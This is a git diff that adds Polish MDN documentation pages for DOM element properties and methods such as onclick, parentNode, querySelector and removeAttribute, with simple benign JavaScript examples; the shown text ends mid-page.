199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;"> +<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p> + +<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p> + +<p><span style="float: right;"><img alt="Image:BirmanCat.jpg" class="internal" src="/@api/deki/files/2210/=BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p> + +<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p> + +<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p> +</div> +<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}</span></div> + +<p style="margin-top: 270px;"><img alt="Image:offsetWidth.png" class="internal" src="/@api/deki/files/2468/=OffsetWidth.png"></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><span id="result_box" lang="pl"><strong><code>offsetWidth</code></strong> jest częścią modelu obiektowego MSIE <abbr title="Dynamic HyperText Markup Language">DHTML</abbr>. <strong><code>offsetWidth</code></strong> nie jest częścią żadnej specyfikacji W3C ani rekomendacji technicznej.</span></p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><strong><code>offsetWidth</code></strong> jest własnością modelu obiektowego <span id="result_box" lang="pl"><abbr title="Dynamic HyperText Markup Language">DHTML</abbr></span>, który został wprowadzony przez MSIE. Czasem określany jest jako fizyczny/graficzny wymiar elementu lub jako szerokość pudełka elementu.</p> + +<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetwidth.asp?frame=true">MSDN's offsetWidth definition</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li> +</ul> + +<div class="noinclude"> +<h3 id="Dokumentacja" name="Dokumentacja">Zobacz również</h3> +</div> + +<ul> + <li><a href="/fr/DOM/element.offsetHeight" title="element.offsetHeight">element.offsetHeight</a></li> + <li><a href="/pl/DOM/element.clientWidth" title="element.clientWidth">element.clientWidth</a></li> + <li><a href="/cn/DOM/element.clientHeight" title="element.clientHeight">element.clientHeight</a></li> +</ul> diff --git a/files/pl/web/api/element/onclick/index.html b/files/pl/web/api/element/onclick/index.html new file mode 100644 index 0000000000..b6215b4c00 --- /dev/null +++ b/files/pl/web/api/element/onclick/index.html @@ -0,0 +1,66 @@ +--- +title: element.onclick +slug: Web/API/Element/onclick +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onclick +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Właściwość <strong>onclick</strong> zwraca kod obsługi zdarzenia <em>onClick</em> w bieżącym elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><em>element</em>.onclick = <em>refDoFunkcji</em>; +</pre> +<p>gdzie <em>refDoFunkcji</em> to nazwa funkcji zadeklarowanej gdzie indziej bądź <em>wyrażenie funkcyjne</em>. <span class="comment">Zob. <a href="/pl/Dokumentacja_języka_JavaScript_1.5/Funkcje">Funkcje</a>. - tego rodzialu jeszcze nie ma, a pod nazwa Funkcje jest cos innego</span></p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> + +<head> +<title>przykład zdarzenia onclick</title> + +<script type="text/javascript"> + +function initElement() + { + var p = document.getElementById("foo"); + + // Uwaga: ani showAlert();, ani showAlert(param); tu NIE zadziałają + // potrzebna jest referencja do funkcji, a nie wywołanie funkcji + p.onclick = showAlert; + }; + +function showAlert() + { + alert("wykryto zdarzenie onclick!") + } +</script> + +<style type="text/css"> +<!-- +#foo { +border: solid blue 2px; +} +--> +</style> +</head> + +<body onload="initElement()";> +<span id="foo">Mój Element</span> +<p>Kliknij na powyższy element.</p> +</body> +</html> +</pre> +<p>Można również użyć funkcji bezimiennej jak poniżej:</p> +<pre>p.onclick = function() { alert("moot!"); }; +</pre> +<p><span class="comment">Not going to confuse poor readers with this. You could also use a the Function constructor: <pre> p.onclick = Function( "alert('moot!')" ); </pre></span></p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zdarzenie <em>click</em> jest wywoływane, kiedy użytkownik kliknie na element. Zdarzenie to występuje po <em>mousedown</em> i <em>mouseup</em>.</p> +<p>Tylko jedna funkcja obsługi zdarzenia może zostać przypisana za jednym razem za pomocą tej właściwości. Możesz zamiast niej użyć metody <a href="/pl/DOM/element.addEventListener" title="pl/DOM/element.addEventListener"> addEventListener</a> - jest bardziej elastyczna i stanowi część specyfikacji DOM Events.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p>{{ languages( { "en": "en/DOM/element.onclick", "fr": "fr/DOM/element.onclick" } ) }}</p> diff --git a/files/pl/web/api/element/onkeypress/index.html b/files/pl/web/api/element/onkeypress/index.html new file mode 100644 index 0000000000..eb57c1936c --- /dev/null +++ b/files/pl/web/api/element/onkeypress/index.html @@ -0,0 +1,21 @@ +--- +title: element.onkeypress +slug: Web/API/Element/onkeypress +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onkeypress +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Właściwość <b>onkeypress</b> zawiera kod obsługi zdarzenia onKeyPress dla bieżącego elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.onkeypress = kod obsługi zdarzenia +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zdarzenie keydown wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> diff --git a/files/pl/web/api/element/onkeyup/index.html b/files/pl/web/api/element/onkeyup/index.html new file mode 100644 index 0000000000..ad411b0e1a --- /dev/null +++ b/files/pl/web/api/element/onkeyup/index.html @@ -0,0 +1,24 @@ +--- +title: element.onkeyup +slug: Web/API/Element/onkeyup +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onkeyup +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Właściwość <b>onkeyup</b> zawiera kod obsługi zdarzenia <code>keyup</code> dla bieżącego elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">kod obsługi zdarzenia = element.onkeyup +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zdarzenie <code>keyup</code> wywoływane jest, gdy użytkownik zwalnia naciśnięty klawisz na klawiaturze.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.onkeyup", "fr": "fr/DOM/element.onkeyup" } ) }}</p> diff --git a/files/pl/web/api/element/onmousedown/index.html b/files/pl/web/api/element/onmousedown/index.html new file mode 100644 index 0000000000..e616906126 --- /dev/null +++ b/files/pl/web/api/element/onmousedown/index.html @@ -0,0 +1,23 @@ +--- +title: element.onmousedown +slug: Web/API/Element/onmousedown +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onmousedown +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>onmousedown</b> zwraca kod obsługi zdarzenia onMouseDown w bieżącym elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">event handling code = element.onMouseDown +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zdarzenie <code>mousedown</code> jest wywołane kiedy użytkownik naciśnie lewy przycisk.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.onmousedown", "fr": "fr/DOM/element.onmousedown" } ) }}</p> diff --git a/files/pl/web/api/element/onmousemove/index.html b/files/pl/web/api/element/onmousemove/index.html new file mode 100644 index 0000000000..f54256c9f7 --- /dev/null +++ b/files/pl/web/api/element/onmousemove/index.html @@ -0,0 +1,29 @@ +--- +title: element.onmousemove +slug: Web/API/Element/onmousemove +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onmousemove +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Właściwość <strong>onmousemove</strong> zwraca kod obsługi zdarzenia <code>mousemove</code> w bieżącym elemencie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">event handling code = element.onMouseMove +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zdarzenie <code>mousemove</code> jest wywoływane, kiedy użytkownik przesunie kursor myszy.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> diff --git a/files/pl/web/api/element/ownerdocument/index.html b/files/pl/web/api/element/ownerdocument/index.html new file mode 100644 index 0000000000..0ecbed4869 --- /dev/null +++ b/files/pl/web/api/element/ownerdocument/index.html @@ -0,0 +1,30 @@ +--- +title: element.ownerDocument +slug: Web/API/Element/ownerDocument +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/ownerDocument +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>ownerDocument</b> zwraca obiekt najwyższego poziomu - dokument, w którym znajduje się bieżący węzeł.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>dokument</i> = element.ownerDocument +</pre> +<p><code>dokument</code> to obiekt <code>document</code>, będący rodzicem bieżącego elementu.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// dla danego elementu "p" znajdź element HTML najwyższego poziomu +d = p.ownerDocument; +html = d.documentElement; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Obiekt <code>document</code> zwracany przez tę własność jest głównym obiektem, w którym tworzone są wszystkie węzły-dzieci właściwego dokumentu HTML. Własność ta użyta na węźle, który sam jest dokumentem, zwraca <code>NULL</code></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#node-ownerDoc">ownerDocument </a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.ownerDocument", "fr": "fr/DOM/element.ownerDocument", "ja": "ja/DOM/element.ownerDocument" } ) }}</p> diff --git a/files/pl/web/api/element/parentnode/index.html b/files/pl/web/api/element/parentnode/index.html new file mode 100644 index 0000000000..ec9bbceda0 --- /dev/null +++ b/files/pl/web/api/element/parentnode/index.html @@ -0,0 +1,34 @@ +--- +title: element.parentNode +slug: Web/API/Element/parentNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/parentNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>parentNode</b> zwraca rodzica bieżącego elementu.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval"><i>rodzic</i> = element.parentNode +</pre> +<p><code>rodzic</code> jest rodzicem bieżącego węzła. Rodzicem elementu jest węzeł typu <code>Element</code>, <code>Document</code> lub <code>DocumentFragment</code>.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>text_field = document.getElementById("t"); +if ( div1.parentNode == document ){ + text_field.setAttribute("value", "top-level"); + // pole tekstowe wyświetli tekst "top-level" } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>parentNode</code> zwraca <code>null</code> dla poniższych typów węzłów: <code>Attr</code>, <code>Document</code>, <code>DocumentFragment</code>, <code>Entity</code> i <code>Notation</code>.</p> +<p><code>null</code> zwracane jest także, gdy węzeł został utworzony, ale nie przypisano go jeszcze do drzewa.</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p>{{ Domxref("element.firstChild") }}, {{ Domxref("element.lastChild") }}, {{ Domxref("element.childNodes") }}, {{ Domxref("element.nextSibling") }}, {{ Domxref("element.previousSibling") }}.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.parentNode", "fr": "fr/DOM/element.parentNode", "it": "it/DOM/element.parentNode", "ja": "ja/DOM/element.parentNode" } ) }}</p> diff --git a/files/pl/web/api/element/prefix/index.html b/files/pl/web/api/element/prefix/index.html new file mode 100644 index 0000000000..c5ecdac392 --- /dev/null +++ b/files/pl/web/api/element/prefix/index.html @@ -0,0 +1,28 @@ +--- +title: element.prefix +slug: Web/API/Element/prefix +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/prefix +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>prefix</code> zwraca prefiks przestrzeni nazw węzła lub <code>null</code>, jeśli nie określono prefiksu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>string</i> = element.prefix +element.prefix =<i>string</i> +</pre> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval"><x:div onclick="alert(this.prefix)"/> +</pre> +<p>Wyświetlone zostanie "x".</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Własność ta działa tylko wtedy, gdy używany jest parser przetwarzający przestrzenie nazw, tj. gdy dokument serwowany jest z typem MIME XML. Własność nie działa dla dokumentów HTML.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSPrefix">Node.prefix</a> (wprowadzona w DOM2)</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.prefix", "fr": "fr/DOM/element.prefix", "it": "it/DOM/element.prefix", "ja": "ja/DOM/element.prefix" } ) }}</p> diff --git a/files/pl/web/api/element/previoussibling/index.html b/files/pl/web/api/element/previoussibling/index.html new file mode 100644 index 0000000000..0199cfb1a7 --- /dev/null +++ b/files/pl/web/api/element/previoussibling/index.html @@ -0,0 +1,28 @@ +--- +title: element.previousSibling +slug: Web/API/Element/previousSibling +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/previousSibling +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca węzeł bezpośrednio poprzedzający bieżący węzeł w drzewie.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval"><i>pNode</i> = elementNode.previousSibling +</pre> +<p><code>pNode</code> to węzeł przed bieżącym na liście rodzeństwa (czyli liście dzieci rodzica). Węzeł poprzedzający element jest zwykle węzłem elementu, komentarza lub tekstowym.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>var n1 = n2.previousSibling; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zwraca <code>null</code>, jeśli nie ma poprzedzających węzłów.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></p> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.previousSibling", "fr": "fr/DOM/element.previousSibling", "ja": "ja/DOM/element.previousSibling" } ) }}</p> diff --git a/files/pl/web/api/element/queryselector/index.html b/files/pl/web/api/element/queryselector/index.html new file mode 100644 index 0000000000..62c6fe2561 --- /dev/null +++ b/files/pl/web/api/element/queryselector/index.html @@ -0,0 +1,180 @@ +--- +title: Element.querySelector() +slug: Web/API/Element/querySelector +translation_of: Web/API/Element/querySelector +--- +<div>{{APIRef("DOM")}}</div> + +<p>Returns the first element that is a descendant of the element on which it is invoked that matches the specified group of selectors.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>element</var> = <em>baseElement</em>.querySelector(<em>selector</em>s); +</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>A group of <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selectors</a> to match the descendant elements of the {{domxref("Element")}} <code>baseElement</code> against; this must be valid CSS syntax, or a <code>SyntaxError</code> exception will occur. The first element found which matches this group of selectors is returned.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>The first descendant element of <code>baseElement</code> which matches the specified group of <code>selectors</code>. The entire hierarchy of elements is considered when matching, including those outside the set of elements including <code>baseElement</code> and its descendants; in other words, <code>selectors</code> is first applied to the whole document, not the <code>baseElement</code>, to generate an initial list of potential elements. The resulting elements are then examined to see if they are descendants of <code>baseElement</code>. The first match of those remaining elements is returned by the <code>querySelector()</code> method.</p> + +<p>If no matches are found, the returned value is <code>null</code>.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<dl> + <dt><code>SyntaxError</code></dt> + <dd>The specified <code>selectors</code> are invalid.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>Let's consider a few examples.</p> + +<h3 id="Find_a_specific_element_with_specific_values_of_an_attribute">Find a specific element with specific values of an attribute</h3> + +<p>In this first example, the first {{HTMLElement("style")}} element which either has no type or has type "text/css" in the HTML document body is returned:</p> + +<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])"); +</pre> + +<h3 id="The_entire_hierarchy_counts">The entire hierarchy counts</h3> + +<p>The next example, below, demonstrates that the hierarchy of the entire document is considered when applying <code>selectors</code>, so that levels which are outside the specified <code>baseElement</code> are still considered when locating matches.</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div> + <h5>Original content</h5> + <p> + inside paragraph + <span>inside span</span> + inside paragraph + </p> +</div> +<div> + <h5>Output</h5> + <div id="output"></div> +</div></pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js">var baseElement = document.querySelector("p"); +document.getElementById("output").innerHTML = + (baseElement.querySelector("div span").innerHTML);</pre> + +<h4 id="Result">Result</h4> + +<p>The result looks like this:</p> + +<p>{{ EmbedLiveSample('The_entire_hierarchy_counts', 600, 160) }}</p> + +<p>Notice how the <code>"div span"</code> selector still matches the {{HTMLElement("span")}} element, even though the <code>baseElement</code> excludes the {{domxref("div")}} element which is part of the specified selector.</p> + +<p>The :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the baseElement.</p> + +<h3 id="More_examples">More examples</h3> + +<p>See {{domxref("Document.querySelector()")}} for additional examples of the proper format for the <code>selectors</code>.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll()')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}</td> + <td>{{Spec2('Selectors API Level 2')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}</td> + <td>{{Spec2('Selectors API Level 1')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(1)}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop(1.9.1)}}</td> + <td>9<sup>[1][2]</sup></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] <code>querySelector()</code> is supported in IE8, but only for CSS 2.1 selectors.<br> + [2] in IE8 and iE9 document must be in HTML5 mode (HTML5 doctype declaration present)</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("element.querySelectorAll()")}}</li> + <li>{{domxref("document.querySelector()")}}</li> + <li>{{domxref("document.querySelectorAll()")}}</li> + <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li> +</ul> diff --git a/files/pl/web/api/element/removeattribute/index.html b/files/pl/web/api/element/removeattribute/index.html new file mode 100644 index 0000000000..9f3c2c4892 --- /dev/null +++ b/files/pl/web/api/element/removeattribute/index.html @@ -0,0 +1,36 @@ +--- +title: element.removeAttribute +slug: Web/API/Element/removeAttribute +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/removeAttribute +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>removeAttribute</code> usuwa atrybut bieżącego elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>element</i>.removeAttribute(<i>nazwaAtrybutu</i>) +</pre> +<ul> + <li><code>nazwaAtrybutu</code> to ciąg znaków określający nazwę atrybutu elementu + <i> + element</i> + , który to atrybut ma zostać usunięty</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div align="left" width="200px"> +document.getElementById("div1").removeAttribute("align"); +// teraz: <div width="200px"> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Aby usunąć atrybut, powinieneś używać metody <code>removeAttribute</code>, a nie ustawiać wartość atrybutu na <code>null</code> za pomocą <a href="pl/DOM/element.setAttribute">setAttribute</a>.</p> +<p>Próba usunięcia nieistniejącego atrybutu elementu nie wyrzuca wyjątku.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.removeAttribute", "fr": "fr/DOM/element.removeAttribute", "ja": "ja/DOM/element.removeAttribute" } ) }}</p> diff --git a/files/pl/web/api/element/removeattributenode/index.html b/files/pl/web/api/element/removeattributenode/index.html new file mode 100644 index 0000000000..82872fa822 --- /dev/null +++ b/files/pl/web/api/element/removeattributenode/index.html @@ -0,0 +1,37 @@ +--- +title: element.removeAttributeNode +slug: Web/API/Element/removeAttributeNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/removeAttributeNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>removeAttributeNode</code> usuwa określony atrybut z bieżącego elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>usuniętyAtr</i> =<i>element</i>.removeAttributeNode(<i>węzełAtrybutu</i>) +</pre> +<ul> + <li><code>węzełAtrybutu</code> to węzeł typu <code>Attr</code>, który ma zostać usunięty</li> + <li><code>removedAttr</code> to usunięty węzeł <code>Attr</code>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div id="top" align="center" /> +var d = document.getElementById("top"); +var d_align = d.getAttributeNode("align"); +d.removeAttributeNode(d_align); +// align ma wartość domyślną - center, +// więc usunięty atrybut jest od razu zastępowany: +// <div id="top" align="center" /> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeśli usuwany atrybut ma wartość domyślną, od razu zostanie nią zastąpiony. Zastępujący atrybut ma - jeśli mają tu one zastosowanie - taki sam URI przestrzeni nazw, nazwę lokalną oraz prefiks jak oryginalny węzeł.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-D589198">DOM Level 2 Core: removeAttributeNode</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttributeNode">DOM Level 1 Core</a>)</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.removeAttributeNode", "fr": "fr/DOM/element.removeAttributeNode", "ja": "ja/DOM/element.removeAttributeNode" } ) }}</p> diff --git a/files/pl/web/api/element/removeattributens/index.html b/files/pl/web/api/element/removeattributens/index.html new file mode 100644 index 0000000000..88df27e6ca --- /dev/null +++ b/files/pl/web/api/element/removeattributens/index.html @@ -0,0 +1,35 @@ +--- +title: element.removeAttributeNS +slug: Web/API/Element/removeAttributeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/removeAttributeNS +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>removeAttributeNS</code> usuwa określony atrybut elementu.</p> +<h3 